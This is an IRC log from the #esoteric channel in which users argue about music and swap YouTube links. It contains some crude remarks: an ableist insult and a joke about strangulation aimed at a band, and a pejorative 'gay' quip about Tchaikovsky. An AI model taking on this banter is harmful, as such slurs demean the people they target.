:AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, no that is just silly < 1267824808 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, also sure if that is sv:sax < 1267824808 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1267824821 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which is en:scissors < 1267824833 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I would have to say, of saxophones, probably alto < 1267824833 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :how do you play music on scissors? < 1267824839 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :is it like musical bow? < 1267824866 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Soprano is too whiny, tenor too throaty, baritone OK except bass clarinet is better < 1267824877 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, but wait, aren't viola's lower pitch than violins? < 1267824882 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :yet violins sounds better? < 1267824888 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: yes, they are. < 1267824892 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: yes, they do. < 1267824896 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :It's not just about pitch < 1267824903 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, they why do I find violas annoying but violins awesome? < 1267824912 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and cello quite okay < 1267824930 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :of saxophones, definitely baritone < 1267824931 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Because violas are fail, I guess < 1267824935 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :baritone sax is my favourite instrument < 1267824939 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :sorry! < 1267824940 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :i mean tenor < 1267824941 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: heh, I turn my head for two minutes and you go from salto sax -> scissors < 1267824942 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :not barintone < 1267824942 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :duh < 1267824944 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :tisk tisk < 1267824952 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :tenor sax. best instrument. < 1267824956 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :other than cello of course. < 1267824959 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :naah, alto < 1267824965 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :alto - too high pitched and boring < 1267824970 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :alto pwns ur vilin n00blar < 1267824971 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :it lacks character < 1267824978 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, :P < 1267824980 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :only losers play alto < 1267824983 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :all ur vilin belong to us < 1267825002 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :stop mixing up two memes -_- < 1267825004 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :lament: we clearly have different taste < 1267825012 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :no < 1267825015 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :have you listened to 50's rock? < 1267825022 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :have you listened to 30's rock? < 1267825022 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, *shudder* < 1267825037 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :next you are going to say you like rap or country western! < 1267825070 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :what's a good place to temporarily upload an mp3? < 1267825073 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I do like some rap < 1267825078 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :lament: 30's? No < 1267825080 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :without creating an account? < 1267825083 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :I'm talking Fats Domino here < 1267825092 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, and yet rap is even worse than country western. And country western is horrible < 1267825095 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :what was it, er, filehost.rg? < 1267825103 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: an open mind is key < 1267825105 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, filebin? < 1267825109 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, .ca that is < 1267825112 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :that's it < 1267825116 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :isn't that one infected by some worm? < 1267825121 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, is it? < 1267825124 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :dunno < 1267825139 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: im so eclectic in my tastes its not even funny, taht is to say, it was never funny to begin with < 1267825144 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, I thought it was quite a okay one. ais used it for enigma levels iirc < 1267825153 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, ? < 1267825180 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: http://filebin.ca/ducjyo/elise2.mp3 < 1267825211 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, wgetted < 1267825230 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, how should I put it < 1267825245 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :hiato: Which rap would that be? < 1267825249 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I like everything from hardstyle, house and rap to all the composers above and even square waves and 8bit music < 1267825256 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, _interesting_ arrangement < 1267825263 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, quite okay though < 1267825267 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Now we're in completely different territory and my tastes are completely different. < 1267825279 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :There is some rap I like but it is very rare. < 1267825280 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: I like some on eminems work, as well as some israeli groups and some tupac < 1267825287 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :rap is just unacceptable < 1267825287 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: http://filebin.ca/ducjyo/elise2.mp3 < 1267825290 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :to me < 1267825293 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it isn't even music < 1267825294 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :at all < 1267825303 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it should be classified as noise < 1267825317 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and a health and safety issue < 1267825351 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1267825353 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :cute < 1267825364 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, what about "god wrote the world in lisp"? I like it because of it's lyrics only < 1267825376 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: *never* heard of that :) < 1267825378 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :but, I hate pop < 1267825387 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :i hate you :( < 1267825389 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :songs with words suck, unless they are rap < 1267825407 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, http://www.youtube.com/watch?v=5-OjTPj7K54&fmt=18 < 1267825408 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Along the lines of modern-but-still-"art/chamber", anyone like Penguin Cafe Orchestra? < 1267825420 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, you too < 1267825426 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :even so, I have found maybe five rap songs out of aa good three hundred that I like < 1267825427 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, and that is because of lyrics < 1267825431 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :not because of the music < 1267825438 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: love penguin cafe < 1267825455 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: lyrics are part of it duh < 1267825459 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :hiato: Ha! Suspected so. < 1267825461 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, yes < 1267825463 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, ... < 1267825464 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :http://www.youtube.com/watch?v=FvbCV6E0Wro <-- PCO < 1267825466 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: really? < 1267825473 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, I said I only liked it because of it's lyrics < 1267825476 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: wiat, me too what? < 1267825480 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :hiato: Taste intersection :) < 1267825490 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, the link I gave just amove it < 1267825492 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :above* < 1267825493 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :i only like bach because of its melody < 1267825497 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :lolwut! < 1267825510 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: it would seem so :) < 1267825519 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I see, youtubing now < 1267825549 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: ever heard of apocalyptica? < 1267825562 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1267825599 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :hiato: I don't think so... < 1267825605 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :it's four celloists, but they play connected to apms and so < 1267825608 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :it's brilliant < 1267825620 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, so what do you think about it? < 1267825628 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :hiato: Do they do covers of Metallica? < 1267825630 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :heh, catchy tune :P < 1267825633 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :YES! < 1267825643 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :so you have heard of them < 1267825648 0 :Asztal!unknown@unknown.invalid PRIVMSG #esoteric :apocalyptica are awesome :) < 1267825654 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, cpressey ^ < 1267825655 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :... < 1267825662 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :hiato: I think I've maybe heard recordings *by* them, but didn't know anything about the group < 1267825663 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Asztal: !! < 1267825676 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: It's queued up, one sec :) < 1267825692 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, you will actually "lol" I think < 1267825693 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :apocalyptica is the worst shit ever seriously < 1267825698 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster ? It's a catchy tune, but fits rignt into the "I hate men with guiatars category" though the lyrics made me smile < 1267825701 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :what a retarded bunch of losers < 1267825701 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :lament ..... < 1267825704 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, and I'm one of those who try to use it correctly < 1267825709 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :they should strange each other with their strings < 1267825715 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Oh god this is horrible < 1267825725 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, the lyrics are fun though < 1267825742 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :lament: Steve would probably love this < 1267825743 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :apocalyptica is an injoke, you need to be a metalhead and a cellist to appreciate it and it's still only mildly funny < 1267825758 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1267825766 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, so why did you call it horrible? < 1267825768 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :lament, er, right, still sounds good to me < 1267825775 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :well < 1267825783 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: CHEESY < 1267825784 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :say some apocalyptica cover of metallica < 1267825784 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, I assume it was that lisp one? < 1267825786 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :MIGHT sound okay < 1267825788 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :hiato: you see *lament* is an injoke < 1267825791 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :but the original sounds better < 1267825794 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: YES < 1267825796 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, define that < 1267825799 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is drowning in cheese
< 1267825802 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :so all apocalyptica achieved is to make a piece of music worse < 1267825805 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :oklokok: it's all starting to make sense :P < 1267825811 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: probably, judging by the title, but i can't listen at work < 1267825812 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION looks for a dictionary
< 1267825833 0 :dougx!~dougx@vc-41-29-214-141.umts.vodacom.co.za JOIN :#esoteric < 1267825836 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I never bother to look up what "cheesy" meant except in a culinary context < 1267825851 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, since I'm unable to locate a dictionary atm could you explain it < 1267825892 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: http://www.youtube.com/watch?v=FTD2lKew4iI&feature=related < 1267825941 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :(oh god it's long, too. six minutes of programming language-based filk is wayyyy too much.) < 1267825958 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Um, lessee. Define "cheesy". Well.. < 1267825961 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, what an overly dramatic video. also < 1267825964 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :WHAT THE HELLL < 1267825977 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, it is a complete disaster after 00:33 or so < 1267825982 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :a complete and utter disaster < 1267825983 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: yes, video sucks < 1267825994 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, I have never heard anything this bad < 1267826000 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION stops playing it
< 1267826007 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I can not stand listening to the end of it < 1267826015 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: your taste .[asarsarsars], my taste .{7283748923794} -> longest common subsequence = . < 1267826047 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, didn't we both like Grieg? < 1267826058 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :yep :P that dot was griep < 1267826061 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :*grieg < 1267826065 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1267826072 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :but, for example, have you heard flanders and swann? < 1267826083 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, US? < 1267826086 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Man, "cheesy" is hard to define < 1267826092 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, the names are not familiar at all < 1267826093 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :UK! < 1267826099 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, well I live in Sweden so... < 1267826101 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :"of poor quality through being overdramatic, excessively emotional or clichéd, trite, contrived, shoddy" (wiktionary) < 1267826105 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, when did they live? < 1267826107 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :yeah, sixties-ish entertainers < 1267826108 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :uk < 1267826109 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :But that doesn't capture it < 1267826111 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1267826114 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that explains it < 1267826132 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, I do like Tom Leherer (spelling?) though < 1267826135 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :American < 1267826146 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, both nice music and nice lyrics < 1267826147 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, Lehrer < 1267826152 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :brialliant < 1267826155 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, indeed < 1267826171 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :whoever posted http://www.youtube.com/watch?v=FvbCV6E0Wro < 1267826171 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :you'll probably like flanders an swann < 1267826175 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that one wasn't too bad < 1267826178 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :relatively speaking < 1267826178 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :they came up with the hippo song < 1267826182 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so far at least < 1267826191 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well it gets worse a bit in < 1267826199 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :sounds like percussion? < 1267826208 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: have you seen funny bones? < 1267826213 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :http://www.youtube.com/watch?v=2N_tmH6y7ng <-- there's some more cheese, but instrumental. < 1267826226 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which really doesn't have anything to do in music except the occasional bong in Ravel's Bolero or such < 1267826235 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, never heard about it < 1267826250 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, queued < 1267826256 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, also did you like the lyrics or not? < 1267826265 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :related videos (from perpetuum mobile) -> how to build hover shoes < 1267826273 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, ^_^ < 1267826285 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, but what is that music btw? < 1267826295 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :which, that harmonium thing? < 1267826301 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :or funnybones? < 1267826316 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :... < 1267826323 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :"perpetuum mobile" < 1267826324 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :er? < 1267826325 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :... < 1267826328 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Wow, wait, we're still talking about music? < 1267826330 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :what is it? < 1267826352 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: well there's at least 1000 years to get through < 1267826357 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1267826375 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :whoever posted http://www.youtube.com/watch?v=UZXzuIsxb64 : quite nice so far < 1267826398 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I will say they are the most intensely programming-language-related lyrics I have heard yet. < 1267826403 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :harpsichord? < 1267826408 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :thttp://www.youtube.com/watch?v=UZXzuIsxb64 <- YUGH! < 1267826410 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it doesn't sound like piano < 1267826422 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1267826425 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, I remember some about qbasic btw < 1267826426 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :or honky-tonk < 1267826432 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Of course, my main point of comparison is Guy Steele's "Lambda Bound" (to the tune of "Homeward Bound") < 1267826433 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, it was quite a nice sound < 1267826435 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :IMO < 1267826437 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, :) < 1267826444 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, in fact wonderful sound < 1267826449 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I like harpsichord < 1267826461 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :this trumps all: http://www.youtube.com/watch?v=Ht96HJ01SE4&feature=player_embedded# < 1267826491 0 :MigoMipo!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267826531 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, cpressey, lament, Gregor: http://www.youtube.com/watch?v=BpH0QnVQi0A&fmt=18 < 1267826532 0 :MigoMipo!~migomipo@84-217-10-47.tn.glocalnet.net JOIN :#esoteric < 1267826537 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :not the best recording < 1267826543 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :also the C sharp minor version is better yet < 1267826546 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :hiato: Yes, it probably does. < 1267826546 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: watch my last one damnit! < 1267826549 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but couldn't find it on youtube < 1267826551 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, queued < 1267826551 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: :D < 1267826559 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :THIS MUSIC IS SO PRETENTIOUS < 1267826564 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION runs
< 1267826566 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, what one? < 1267826569 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :I invoke ajump < 1267826576 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Oh yeah, I've heard this. < 1267826580 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :It's very ... classical. < 1267826584 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, :) < 1267826585 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :whose? < 1267826587 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wonderful isn't it? < 1267826596 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :if it is the one I linked last < 1267826598 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :not watching youtube at work, what is it? < 1267826604 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Too bad you can't actually queue youtube videos (in a simple way) < 1267826606 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Frankly I'm not much of a classical guy, I much prefer the romantic era. < 1267826607 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, Joseph Martin Kraus < 1267826621 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1267826634 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, you can. Open in separate tabs. Copy the urls to youtube-dl -b command < 1267826642 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, since you don't have flash installed < 1267826643 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1267826683 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, hiato Gregor: oi! This contains both C minor and C# minor versions after each other: http://www.youtube.com/watch?v=QbhA7NRZTZ0 < 1267826686 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so you can compare < 1267826696 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :remember to add &fmt=18 to that of course < 1267826698 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I must say, it's pleasant, but not my style < 1267826701 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :That one I listened to the last time you linked it :P < 1267826707 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, the comparing one? < 1267826709 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm maybe < 1267826731 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Ok, listening to Kraus now, and... < 1267826737 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Now take the two versions and overlay them. < 1267826775 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, sound quality is better in http://www.youtube.com/watch?v=QbhA7NRZTZ0&fmt=35 < 1267826780 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that is the best version of it < 1267826781 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::) < 1267826787 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it seems < 1267826789 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: That's not both versions too, is it? < 1267826798 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, that is both versions separately yes < 1267826808 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Does everybody play both versions? :P < 1267826810 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, I just forget to add &fmt=35 to it < 1267826814 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Oh, that's the same link, durp < 1267826814 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :-_- < 1267826861 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: to put things back in perspective: http://www.youtube.com/watch?v=Z_hOR50u7ek one of my all time fvourites < 1267826878 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey listened to that "cheesy" one, don't get what you mean at all < 1267826881 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :It's pretty good. But it's hard to see how it would not be called equally "pompous" when say Tschiakovsky would < 1267826908 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :"It sounds less ... gay than Tchaikovsky" < 1267826929 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, everything does < 1267826941 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :I take offense < 1267826946 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :your mom is less way than tchaikovsky < 1267826959 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: programming language are not something to sing about < 1267826965 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Is "way" some crazy Finnish ... way ... to say "gay"? < 1267826970 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Marche slave is brilliant, the 1812 is fantiastic, swan lake is unrivaled < 1267826978 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : this trumps all: 